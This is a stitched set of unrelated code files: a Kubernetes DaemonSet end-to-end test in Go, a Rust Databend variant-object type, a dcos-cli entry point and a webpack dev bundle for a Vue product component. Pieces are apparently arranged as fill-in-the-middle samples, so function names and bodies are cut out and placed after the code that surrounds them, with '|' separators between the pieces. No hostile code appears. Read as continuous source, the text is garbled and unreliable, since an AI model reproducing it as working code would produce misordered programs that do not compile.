framework.Logf("Creating daemon %q with a node affinity", dsName)
ds := newDaemonSet(dsName, image, complexLabel)
ds.Spec.Template.Spec.Affinity = &v1.Affinity{
NodeAffinity: &v1.NodeAffinity{
RequiredDuringSchedulingIgnoredDuringExecution: &v1.NodeSelector{
NodeSelectorTerms: []v1.NodeSelectorTerm{
{
MatchExpressions: []v1.NodeSelectorRequirement{
{
Key: daemonsetColorLabel,
Operator: v1.NodeSelectorOpIn,
Values: []string{nodeSelector[daemonsetColorLabel]},
},
},
},
},
},
},
}
ds, err := c.AppsV1().DaemonSets(ns).Create(ds)
framework.ExpectNoError(err)
ginkgo.By("Initially, daemon pods should not be running on any nodes.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnNoNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pods to be running on no nodes")
ginkgo.By("Change node label to blue, check that daemon pod is launched.")
node, err := e2enode.GetRandomReadySchedulableNode(f.ClientSet)
framework.ExpectNoError(err)
newNode, err := setDaemonSetNodeLabels(c, node.Name, nodeSelector)
framework.ExpectNoError(err, "error setting labels on node")
daemonSetLabels, _ := separateDaemonSetNodeLabels(newNode.Labels)
framework.ExpectEqual(len(daemonSetLabels), 1)
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkDaemonPodOnNodes(f, ds, []string{newNode.Name}))
framework.ExpectNoError(err, "error waiting for daemon pods to be running on new nodes")
err = checkDaemonStatus(f, dsName)
framework.ExpectNoError(err)
ginkgo.By("Remove the node label and wait for daemons to be unscheduled")
_, err = setDaemonSetNodeLabels(c, node.Name, map[string]string{})
framework.ExpectNoError(err, "error removing labels on node")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnNoNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to not be running on nodes")
})
/*
Testname: DaemonSet-FailedPodCreation
Description: A conformant Kubernetes distribution MUST create new DaemonSet Pods when they fail.
*/
framework.ConformanceIt("should retry creating failed daemon pods", func() {
label := map[string]string{daemonsetNameLabel: dsName}
ginkgo.By(fmt.Sprintf("Creating a simple DaemonSet %q", dsName))
ds, err := c.AppsV1().DaemonSets(ns).Create(newDaemonSet(dsName, image, label))
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods launch on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
err = checkDaemonStatus(f, dsName)
framework.ExpectNoError(err)
ginkgo.By("Set a daemon pod's phase to 'Failed', check that the daemon pod is revived.")
podList := listDaemonPods(c, ns, label)
pod := podList.Items[0]
pod.ResourceVersion = ""
pod.Status.Phase = v1.PodFailed
_, err = c.CoreV1().Pods(ns).UpdateStatus(&pod)
framework.ExpectNoError(err, "error failing a daemon pod")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to revive")
ginkgo.By("Wait for the failed daemon pod to be completely deleted.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, waitFailedDaemonPodDeleted(c, &pod))
framework.ExpectNoError(err, "error waiting for the failed daemon pod to be completely deleted")
})
// This test should not be added to conformance. We will consider deprecating OnDelete when the
// extensions/v1beta1 and apps/v1beta1 are removed.
ginkgo.It("should not update pod when spec was updated and update strategy is OnDelete", func() {
label := map[string]string{daemonsetNameLabel: dsName}
framework.Logf("Creating simple daemon set %s", dsName)
ds := newDaemonSet(dsName, image, label)
ds.Spec.UpdateStrategy = appsv1.DaemonSetUpdateStrategy{Type: appsv1.OnDeleteDaemonSetStrategyType}
ds, err := c.AppsV1().DaemonSets(ns).Create(ds)
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods launch on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
// Check history and labels
ds, err = c.AppsV1().DaemonSets(ns).Get(ds.Name, metav1.GetOptions{})
framework.ExpectNoError(err)
waitForHistoryCreated(c, ns, label, 1)
first := curHistory(listDaemonHistories(c, ns, label), ds)
firstHash := first.Labels[appsv1.DefaultDaemonSetUniqueLabelKey]
framework.ExpectEqual(first.Revision, int64(1))
checkDaemonSetPodsLabels(listDaemonPods(c, ns, label), firstHash)
ginkgo.By("Update daemon pods image.")
patch := getDaemonSetImagePatch(ds.Spec.Template.Spec.Containers[0].Name, AgnhostImage)
ds, err = c.AppsV1().DaemonSets(ns).Patch(dsName, types.StrategicMergePatchType, []byte(patch))
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods images aren't updated.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkDaemonPodsImageAndAvailability(c, ds, image, 0))
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods are still running on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
// Check history and labels
ds, err = c.AppsV1().DaemonSets(ns).Get(ds.Name, metav1.GetOptions{})
framework.ExpectNoError(err)
waitForHistoryCreated(c, ns, label, 2)
cur := curHistory(listDaemonHistories(c, ns, label), ds)
framework.ExpectEqual(cur.Revision, int64(2))
framework.ExpectNotEqual(cur.Labels[appsv1.DefaultDaemonSetUniqueLabelKey], firstHash)
checkDaemonSetPodsLabels(listDaemonPods(c, ns, label), firstHash)
})
/*
Testname: DaemonSet-RollingUpdate
Description: A conformant Kubernetes distribution MUST support DaemonSet RollingUpdates.
*/
framework.ConformanceIt("should update pod when spec was updated and update strategy is RollingUpdate", func() {
label := map[string]string{daemonsetNameLabel: dsName}
framework.Logf("Creating simple daemon set %s", dsName)
ds := newDaemonSet(dsName, image, label)
ds.Spec.UpdateStrategy = appsv1.DaemonSetUpdateStrategy{Type: appsv1.RollingUpdateDaemonSetStrategyType}
ds, err := c.AppsV1().DaemonSets(ns).Create(ds)
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods launch on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
// Check history and labels
ds, err = c.AppsV1().DaemonSets(ns).Get(ds.Name, metav1.GetOptions{})
framework.ExpectNoError(err)
waitForHistoryCreated(c, ns, label, 1)
cur := curHistory(listDaemonHistories(c, ns, label), ds)
hash := cur.Labels[appsv1.DefaultDaemonSetUniqueLabelKey]
framework.ExpectEqual(cur.Revision, int64(1))
checkDaemonSetPodsLabels(listDaemonPods(c, ns, label), hash)
ginkgo.By("Update daemon pods image.")
patch := getDaemonSetImagePatch(ds.Spec.Template.Spec.Containers[0].Name, AgnhostImage)
ds, err = c.AppsV1().DaemonSets(ns).Patch(dsName, types.StrategicMergePatchType, []byte(patch))
framework.ExpectNoError(err)
// Time to complete the rolling upgrade is proportional to the number of nodes in the cluster.
// Get the number of nodes, and set the timeout appropriately.
nodes, err := c.CoreV1().Nodes().List(metav1.ListOptions{})
framework.ExpectNoError(err)
nodeCount := len(nodes.Items)
retryTimeout := dsRetryTimeout + time.Duration(nodeCount*30)*time.Second
ginkgo.By("Check that daemon pods images are updated.")
err = wait.PollImmediate(dsRetryPeriod, retryTimeout, checkDaemonPodsImageAndAvailability(c, ds, AgnhostImage, 1))
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods are still running on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
// Check history and labels
ds, err = c.AppsV1().DaemonSets(ns).Get(ds.Name, metav1.GetOptions{})
framework.ExpectNoError(err)
waitForHistoryCreated(c, ns, label, 2)
cur = curHistory(listDaemonHistories(c, ns, label), ds)
hash = cur.Labels[appsv1.DefaultDaemonSetUniqueLabelKey]
framework.ExpectEqual(cur.Revision, int64(2))
checkDaemonSetPodsLabels(listDaemonPods(c, ns, label), hash)
})
/*
Testname: DaemonSet-Rollback
Description: A conformant Kubernetes distribution MUST support automated, minimally disruptive
rollback of updates to a DaemonSet.
*/
framework.ConformanceIt("should rollback without unnecessary restarts", func() {
schedulableNodes, err := e2enode.GetReadySchedulableNodes(c)
framework.ExpectNoError(err)
gomega.Expect(len(schedulableNodes.Items)).To(gomega.BeNumerically(">", 1), "Conformance test suite needs a cluster with at least 2 nodes.")
framework.Logf("Create a RollingUpdate DaemonSet")
label := map[string]string{daemonsetNameLabel: dsName}
ds := newDaemonSet(dsName, image, label)
ds.Spec.UpdateStrategy = appsv1.DaemonSetUpdateStrategy{Type: appsv1.RollingUpdateDaemonSetStrategyType}
ds, err = c.AppsV1().DaemonSets(ns).Create(ds)
framework.ExpectNoError(err)
framework.Logf("Check that daemon pods launch on every node of the cluster")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
framework.Logf("Update the DaemonSet to trigger a rollout")
// We use a nonexistent image here, so that we make sure it won't finish
newImage := "foo:non-existent"
newDS, err := updateDaemonSetWithRetries(c, ns, ds.Name, func(update *appsv1.DaemonSet) {
update.Spec.Template.Spec.Containers[0].Image = newImage
})
framework.ExpectNoError(err)
// Make sure we're in the middle of a rollout
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkAtLeastOneNewPod(c, ns, label, newImage))
framework.ExpectNoError(err)
pods := listDaemonPods(c, ns, label)
var existingPods, newPods []*v1.Pod
for i := range pods.Items {
pod := pods.Items[i]
image := pod.Spec.Containers[0].Image
switch image {
case ds.Spec.Template.Spec.Containers[0].Image:
existingPods = append(existingPods, &pod)
case newDS.Spec.Template.Spec.Containers[0].Image:
newPods = append(newPods, &pod)
default:
framework.Failf("unexpected pod found, image = %s", image)
}
}
schedulableNodes, err = e2enode.GetReadySchedulableNodes(c)
framework.ExpectNoError(err)
if len(schedulableNodes.Items) < 2 {
framework.ExpectEqual(len(existingPods), 0)
} else {
framework.ExpectNotEqual(len(existingPods), 0)
}
framework.ExpectNotEqual(len(newPods), 0)
framework.Logf("Roll back the DaemonSet before rollout is complete")
rollbackDS, err := updateDaemonSetWithRetries(c, ns, ds.Name, func(update *appsv1.DaemonSet) {
update.Spec.Template.Spec.Containers[0].Image = image
})
framework.ExpectNoError(err)
framework.Logf("Make sure DaemonSet rollback is complete")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkDaemonPodsImageAndAvailability(c, rollbackDS, image, 1))
framework.ExpectNoError(err)
// After rollback is done, compare current pods with previous old pods during rollout, to make sure they're not restarted
pods = listDaemonPods(c, ns, label)
rollbackPods := map[string]bool{}
for _, pod := range pods.Items {
rollbackPods[pod.Name] = true
}
for _, pod := range existingPods {
gomega.Expect(rollbackPods[pod.Name]).To(gomega.BeTrue(), fmt.Sprintf("unexpected pod %s be restarted", pod.Name))
}
})
})
// getDaemonSetImagePatch generates a patch for updating a DaemonSet's container image
func getDaemonSetImagePatch(containerName, containerImage string) string {
return fmt.Sprintf(`{"spec":{"template":{"spec":{"containers":[{"name":"%s","image":"%s"}]}}}}`, containerName, containerImage)
}
func newDaemonSet(dsName, image string, label map[string]string) *appsv1.DaemonSet {
return &appsv1.DaemonSet{
ObjectMeta: metav1.ObjectMeta{
Name: dsName,
},
Spec: appsv1.DaemonSetSpec{
Selector: &metav1.LabelSelector{
MatchLabels: label,
},
Template: v1.PodTemplateSpec{
ObjectMeta: metav1.ObjectMeta{
Labels: label,
},
Spec: v1.PodSpec{
Containers: []v1.Container{
{
Name: "app",
Image: image,
Ports: []v1.ContainerPort{{ContainerPort: 9376}},
},
},
},
},
},
}
}
func listDaemonPods(c clientset.Interface, ns string, label map[string]string) *v1.PodList {
selector := labels.Set(label).AsSelector()
options := metav1.ListOptions{LabelSelector: selector.String()}
podList, err := c.CoreV1().Pods(ns).List(options)
framework.ExpectNoError(err)
gomega.Expect(len(podList.Items)).To(gomega.BeNumerically(">", 0))
return podList
}
func separateDaemonSetNodeLabels(labels map[string]string) (map[string]string, map[string]string) {
daemonSetLabels := map[string]string{}
otherLabels := map[string]string{}
for k, v := range labels {
if strings.HasPrefix(k, daemonsetLabelPrefix) {
daemonSetLabels[k] = v
} else {
otherLabels[k] = v
}
}
return daemonSetLabels, otherLabels
}
func clearDaemonSetNodeLabels(c clientset.Interface) error {
nodeList, err := e2enode.GetReadySchedulableNodes(c)
if err != nil {
return err
}
for _, node := range nodeList.Items {
_, err := setDaemonSetNodeLabels(c, node.Name, map[string]string{})
if err != nil {
return err
}
}
return nil
}
// updateNamespaceAnnotations sets node selectors related annotations on tests namespaces to empty
func updateNamespaceAnnotations(c clientset.Interface, nsName string) (*v1.Namespace, error) {
nsClient := c.CoreV1().Namespaces()
ns, err := nsClient.Get(nsName, metav1.GetOptions{})
if err != nil {
return nil, err
}
if ns.Annotations == nil {
ns.Annotations = make(map[string]string)
}
for _, n := range NamespaceNodeSelectors {
ns.Annotations[n] = ""
}
return nsClient.Update(ns)
}
func setDaemonSetNodeLabels(c clientset.Interface, nodeName string, labels map[string]string) (*v1.Node, error) {
nodeClient := c.CoreV1().Nodes()
var newNode *v1.Node
var newLabels map[string]string
err := wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, func() (bool, error) {
node, err := nodeClient.Get(nodeName, metav1.GetOptions{})
if err != nil {
return false, err
}
// remove all labels this test is creating
daemonSetLabels, otherLabels := separateDaemonSetNodeLabels(node.Labels)
if reflect.DeepEqual(daemonSetLabels, labels) {
newNode = node
return true, nil
}
node.Labels = otherLabels
for k, v := range labels {
node.Labels[k] = v
}
newNode, err = nodeClient.Update(node)
if err == nil {
newLabels, _ = separateDaemonSetNodeLabels(newNode.Labels)
return true, err
}
if se, ok := err.(*apierrors.StatusError); ok && se.ErrStatus.Reason == metav1.StatusReasonConflict {
framework.Logf("failed to update node due to resource version conflict")
return false, nil
}
return false, err
})
if err != nil {
return nil, err
} else if len(newLabels) != len(labels) {
return nil, fmt.Errorf("Could not set daemon set test labels as expected")
}
return newNode, nil
}
func checkDaemonPodOnNodes(f *framework.Framework, ds *appsv1.DaemonSet, nodeNames []string) func() (bool, error) {
return func() (bool, error) {
podList, err := f.ClientSet.CoreV1().Pods(f.Namespace.Name).List(metav1.ListOptions{})
if err != nil {
framework.Logf("could not get the pod list: %v", err)
return false, nil
}
pods := podList.Items
nodesToPodCount := make(map[string]int)
for _, pod := range pods {
if !metav1.IsControlledBy(&pod, ds) {
continue
}
if pod.DeletionTimestamp != nil {
continue
}
if podutil.IsPodAvailable(&pod, ds.Spec.MinReadySeconds, metav1.Now()) {
nodesToPodCount[pod.Spec.NodeName]++
}
}
framework.Logf("Number of nodes with available pods: %d", len(nodesToPodCount))
// Ensure that exactly 1 pod is running on all nodes in nodeNames.
for _, nodeName := range nodeNames {
if nodesToPodCount[nodeName] != 1 {
framework.Logf("Node %s is running more than one daemon pod", nodeName)
return false, nil
}
}
framework.Logf("Number of running nodes: %d, number of available pods: %d", len(nodeNames), len(nodesToPodCount))
// Ensure that sizes of the lists are the same. We've verified that every element of nodeNames is in
// nodesToPodCount, so verifying the lengths are equal ensures that there aren't pods running on any
// other nodes.
return len(nodesToPodCount) == len(nodeNames), nil
}
}
func checkRunningOnAllNodes(f *framework.Framework, ds *appsv1.DaemonSet) func() (bool, error) {
return func() (bool, error) {
nodeNames := schedulableNodes(f.ClientSet, ds)
return checkDaemonPodOnNodes(f, ds, nodeNames)()
}
}
func | (c clientset.Interface, ds *appsv1.DaemonSet) []string {
nodeList, err := c.CoreV1().Nodes().List(metav1.ListOptions{})
framework.ExpectNoError(err)
nodeNames := make([]string, 0)
for _, node := range nodeList.Items {
if !canScheduleOnNode(node, ds) {
framework.Logf("DaemonSet pods can't tolerate node %s with taints %+v, skip checking this node", node.Name, node.Spec.Taints)
continue
}
nodeNames = append(nodeNames, node.Name)
}
return nodeNames
}
func checkAtLeastOneNewPod(c clientset.Interface, ns string, label map[string]string, newImage string) func() (bool, error) {
return func() (bool, error) {
pods := listDaemonPods(c, ns, label)
for _, pod := range pods.Items {
if pod.Spec.Containers[0].Image == newImage {
return true, nil
}
}
return false, nil
}
}
// canScheduleOnNode checks if a given DaemonSet can schedule pods on the given node
func canScheduleOnNode(node v1.Node, ds *appsv1.DaemonSet) bool {
newPod := daemon.NewPod(ds, node.Name)
nodeInfo := schedulernodeinfo.NewNodeInfo()
nodeInfo.SetNode(&node)
fit, _, err := daemon.Predicates(newPod, nodeInfo)
if err != nil {
framework.Failf("Can't test DaemonSet predicates for node %s: %v", node.Name, err)
return false
}
return fit
}
func checkRunningOnNoNodes(f *framework.Framework, ds *appsv1.DaemonSet) func() (bool, error) {
return checkDaemonPodOnNodes(f, ds, make([]string, 0))
}
func checkDaemonStatus(f *framework.Framework, dsName string) error {
ds, err := f.ClientSet.AppsV1().DaemonSets(f.Namespace.Name).Get(dsName, metav1.GetOptions{})
if err != nil {
return fmt.Errorf("Could not get daemon set from v1")
}
desired, scheduled, ready := ds.Status.DesiredNumberScheduled, ds.Status.CurrentNumberScheduled, ds.Status.NumberReady
if desired != scheduled && desired != ready {
return fmt.Errorf("Error in daemon status. DesiredScheduled: %d, CurrentScheduled: %d, Ready: %d", desired, scheduled, ready)
}
return nil
}
func checkDaemonPodsImageAndAvailability(c clientset.Interface, ds *appsv1.DaemonSet, image string, maxUnavailable int) func() (bool, error) {
return func() (bool, error) {
podList, err := c.CoreV1().Pods(ds.Namespace).List(metav1.ListOptions{})
if err != nil {
return false, err
}
pods := podList.Items
unavailablePods := 0
nodesToUpdatedPodCount := make(map[string]int)
for _, pod := range pods {
if !metav1.IsControlledBy(&pod, ds) {
continue
}
podImage := pod.Spec.Containers[0].Image
if podImage != image {
framework.Logf("Wrong image for pod: %s. Expected: %s, got: %s.", pod.Name, image, podImage)
} else {
nodesToUpdatedPodCount[pod.Spec.NodeName]++
}
if !podutil.IsPodAvailable(&pod, ds.Spec.MinReadySeconds, metav1.Now()) {
framework.Logf("Pod %s is not available", pod.Name)
unavailablePods++
}
}
if unavailablePods > maxUnavailable {
return false, fmt.Errorf("number of unavailable pods: %d is greater than maxUnavailable: %d", unavailablePods, maxUnavailable)
}
// Make sure every daemon pod on the node has been updated
nodeNames := schedulableNodes(c, ds)
for _, node := range nodeNames {
if nodesToUpdatedPodCount[node] == 0 {
return false, nil
}
}
return true, nil
}
}
func checkDaemonSetPodsLabels(podList *v1.PodList, hash string) {
for _, pod := range podList.Items {
podHash := pod.Labels[appsv1.DefaultDaemonSetUniqueLabelKey]
gomega.Expect(len(podHash)).To(gomega.BeNumerically(">", 0))
if len(hash) > 0 {
framework.ExpectEqual(podHash, hash)
}
}
}
func waitForHistoryCreated(c clientset.Interface, ns string, label map[string]string, numHistory int) {
listHistoryFn := func() (bool, error) {
selector := labels.Set(label).AsSelector()
options := metav1.ListOptions{LabelSelector: selector.String()}
historyList, err := c.AppsV1().ControllerRevisions(ns).List(options)
if err != nil {
return false, err
}
if len(historyList.Items) == numHistory {
return true, nil
}
framework.Logf("%d/%d controllerrevisions created.", len(historyList.Items), numHistory)
return false, nil
}
err := wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, listHistoryFn)
framework.ExpectNoError(err, "error waiting for controllerrevisions to be created")
}
func listDaemonHistories(c clientset.Interface, ns string, label map[string]string) *appsv1.ControllerRevisionList {
selector := labels.Set(label).AsSelector()
options := metav1.ListOptions{LabelSelector: selector.String()}
historyList, err := c.AppsV1().ControllerRevisions(ns).List(options)
framework.ExpectNoError(err)
gomega.Expect(len(historyList.Items)).To(gomega.BeNumerically(">", 0))
return historyList
}
func curHistory(historyList *appsv1.ControllerRevisionList, ds *appsv1.DaemonSet) *appsv1.ControllerRevision {
var curHistory *appsv1.ControllerRevision
foundCurHistories := 0
for i := range historyList.Items {
history := &historyList.Items[i]
// Every history should have the hash label
gomega.Expect(len(history.Labels[appsv1.DefaultDaemonSetUniqueLabelKey])).To(gomega.BeNumerically(">", 0))
match, err := daemon.Match(ds, history)
framework.ExpectNoError(err)
if match {
curHistory = history
foundCurHistories++
}
}
framework.ExpectEqual(foundCurHistories, 1)
gomega.Expect(curHistory).NotTo(gomega.BeNil())
return curHistory
}
func waitFailedDaemonPodDeleted(c clientset.Interface, pod *v1.Pod) func() (bool, error) {
return func() (bool, error) {
if _, err := c.CoreV1().Pods(pod.Namespace).Get(pod.Name, metav1.GetOptions{}); err != nil {
if apierrors.IsNotFound(err) {
return true, nil
}
return false, fmt.Errorf("failed to get failed daemon pod %q: %v", pod.Name, err)
}
return false, nil
}
}
| schedulableNodes |
type_variant_object.rs | // Copyright 2022 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::collections::BTreeMap;
use std::sync::Arc;
use common_arrow::arrow::datatypes::DataType as ArrowType;
use common_exception::Result;
use serde_json::Map;
use serde_json::Value as JsonValue;
use super::data_type::DataType;
use super::data_type::ARROW_EXTENSION_NAME;
use super::type_id::TypeID;
use crate::prelude::*;
#[derive(Default, Clone, serde::Deserialize, serde::Serialize)]
pub struct VariantObjectType {}
impl VariantObjectType {
pub fn arc() -> DataTypePtr {
Arc::new(Self {})
}
}
#[typetag::serde]
impl DataType for VariantObjectType {
fn data_type_id(&self) -> TypeID {
TypeID::VariantObject
}
#[inline]
fn as_any(&self) -> &dyn std::any::Any {
self
}
fn name(&self) -> &str {
"Object"
}
fn default_value(&self) -> DataValue {
DataValue::Json(JsonValue::Object(Map::new()))
}
fn create_constant_column(&self, data: &DataValue, size: usize) -> Result<ColumnRef> {
let value: JsonValue = DFTryFrom::try_from(data)?;
let column = Series::from_data(vec![value]);
Ok(Arc::new(ConstColumn::new(column, size))) | .iter()
.map(DFTryFrom::try_from)
.collect::<Result<Vec<_>>>()?;
Ok(Series::from_data(values))
}
fn arrow_type(&self) -> ArrowType {
ArrowType::Extension(
"VariantObject".to_owned(),
Box::new(ArrowType::LargeBinary),
None,
)
}
fn custom_arrow_meta(&self) -> Option<BTreeMap<String, String>> {
let mut mp = BTreeMap::new();
mp.insert(
ARROW_EXTENSION_NAME.to_string(),
"VariantObject".to_string(),
);
Some(mp)
}
fn create_serializer(&self) -> Box<dyn TypeSerializer> {
Box::new(VariantSerializer {})
}
fn create_deserializer(&self, capacity: usize) -> Box<dyn TypeDeserializer> {
Box::new(VariantDeserializer::with_capacity(capacity))
}
fn create_mutable(&self, capacity: usize) -> Box<dyn MutableColumn> {
Box::new(MutableObjectColumn::<JsonValue>::with_capacity(capacity))
}
}
impl std::fmt::Debug for VariantObjectType {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "{}", self.name())
}
} | }
fn create_column(&self, data: &[DataValue]) -> Result<ColumnRef> {
let values: Vec<JsonValue> = data |
main.go | package main
import (
"fmt"
"io"
"os"
"strconv"
"time"
"github.com/dcos/dcos-cli/api"
"github.com/dcos/dcos-cli/pkg/cli"
"github.com/dcos/dcos-cli/pkg/cli/version"
"github.com/dcos/dcos-cli/pkg/cmd"
"github.com/dcos/dcos-cli/pkg/dcos"
"github.com/dcos/dcos-cli/pkg/httpclient"
"github.com/sirupsen/logrus"
)
func main() {
if err := run(cli.NewOsEnvironment()); err != nil {
os.Exit(1)
}
}
// run launches the DC/OS CLI with a given environment.
func run(env *cli.Environment) error |
// logrusLevel returns the log level for the CLI based on the verbosity. The default verbosity is 0.
func logrusLevel(errout io.Writer, verbosity int, logLevel string) logrus.Level {
if verbosity > 1 {
// -vv sets the logger level to debug. This also happens for -vvv
// and above, in such cases we set the logging level to its maximum.
return logrus.DebugLevel
}
if verbosity == 1 {
// -v sets the logger level to info.
return logrus.InfoLevel
}
switch logLevel {
case "debug":
fmt.Fprintln(errout, "The --log-level flag is deprecated. Please use the -vv flag.")
return logrus.DebugLevel
case "info", "warning":
fmt.Fprintln(errout, "The --log-level flag is deprecated. Please use the -v flag.")
return logrus.InfoLevel
case "error", "critical":
fmt.Fprintf(errout, "The --log-level=%s flag is deprecated. It is enabled by default.\n", logLevel)
}
// Without the verbose flag, default to error level.
return logrus.ErrorLevel
}
// printVersion prints CLI version information.
func printVersion(ctx api.Context) {
fmt.Fprintln(ctx.Out(), "dcoscli.version="+version.Version())
cluster, err := ctx.Cluster()
if err != nil {
return
}
dcosClient := dcos.NewClient(ctx.HTTPClient(cluster, httpclient.Timeout(3*time.Second)))
if dcosVersion, err := dcosClient.Version(); err == nil {
fmt.Fprintln(ctx.Out(), "dcos.version="+dcosVersion.Version)
fmt.Fprintln(ctx.Out(), "dcos.commit="+dcosVersion.DCOSImageCommit)
fmt.Fprintln(ctx.Out(), "dcos.bootstrap-id="+dcosVersion.BootstrapID)
} else {
fmt.Fprintln(ctx.Out(), "dcos.version=N/A")
fmt.Fprintln(ctx.Out(), "dcos.commit=N/A")
fmt.Fprintln(ctx.Out(), "dcos.bootstrap-id=N/A")
}
}
| {
globalFlags := &cli.GlobalFlags{}
env.Args = append(env.Args[:1], globalFlags.Parse(env.Args[1:])...)
if globalFlags.Verbosity == 0 {
if envVerbosity, ok := env.EnvLookup("DCOS_VERBOSITY"); ok {
globalFlags.Verbosity, _ = strconv.Atoi(envVerbosity)
}
}
if globalFlags.Debug {
globalFlags.LogLevel = "debug"
fmt.Fprintln(env.ErrOut, "The --debug flag is deprecated. Please use the -vv flag.")
}
ctx := cli.NewContext(env)
ctx.Logger().SetLevel(logrusLevel(env.ErrOut, globalFlags.Verbosity, globalFlags.LogLevel))
if globalFlags.Version {
printVersion(ctx)
return nil
}
dcosCmd := cmd.NewDCOSCommand(ctx)
dcosCmd.SetArgs(env.Args[1:])
return dcosCmd.Execute()
} |
190648ab82df5896.js | "use strict";
/*
* ATTENTION: An "eval-source-map" devtool has been used.
* This devtool is neither made for production nor for readable output files.
* It uses "eval()" calls to create a separate source file with attached SourceMaps in the browser devtools.
* If you are trying to read the output file, select a different devtool (https://webpack.js.org/configuration/devtool/)
* or disable the default devtool with "devtool: false".
* If you are looking for production-ready output files, see mode: "production" (https://webpack.js.org/configuration/mode/).
*/
(self["webpackChunk"] = self["webpackChunk"] || []).push([["resources_js_pages_products_vue"],{
/***/ "./node_modules/babel-loader/lib/index.js??clonedRuleSet-5[0].rules[0].use[0]!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/components/Products/GammeProduct.vue?vue&type=script&lang=js&":
/*!****************************************************************************************************************************************************************************************************************************!*\ | !*** ./node_modules/babel-loader/lib/index.js??clonedRuleSet-5[0].rules[0].use[0]!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/components/Products/GammeProduct.vue?vue&type=script&lang=js& ***!
\****************************************************************************************************************************************************************************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (__WEBPACK_DEFAULT_EXPORT__)\n/* harmony export */ });\n/* harmony import */ var vuex__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! vuex */ \"./node_modules/vuex/dist/vuex.esm.js\");\nfunction ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); enumerableOnly && (symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; })), keys.push.apply(keys, symbols); } return keys; }\n\nfunction _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = null != arguments[i] ? arguments[i] : {}; i % 2 ? ownKeys(Object(source), !0).forEach(function (key) { _defineProperty(target, key, source[key]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)) : ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } return target; }\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n\n/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({\n name: \"GammeProduct\",\n props: ['gamme'],\n methods: _objectSpread({}, (0,vuex__WEBPACK_IMPORTED_MODULE_0__.mapActions)('cart', {\n addToCart: 'addToCart'\n }))\n});//# sourceURL=[module]\n//# 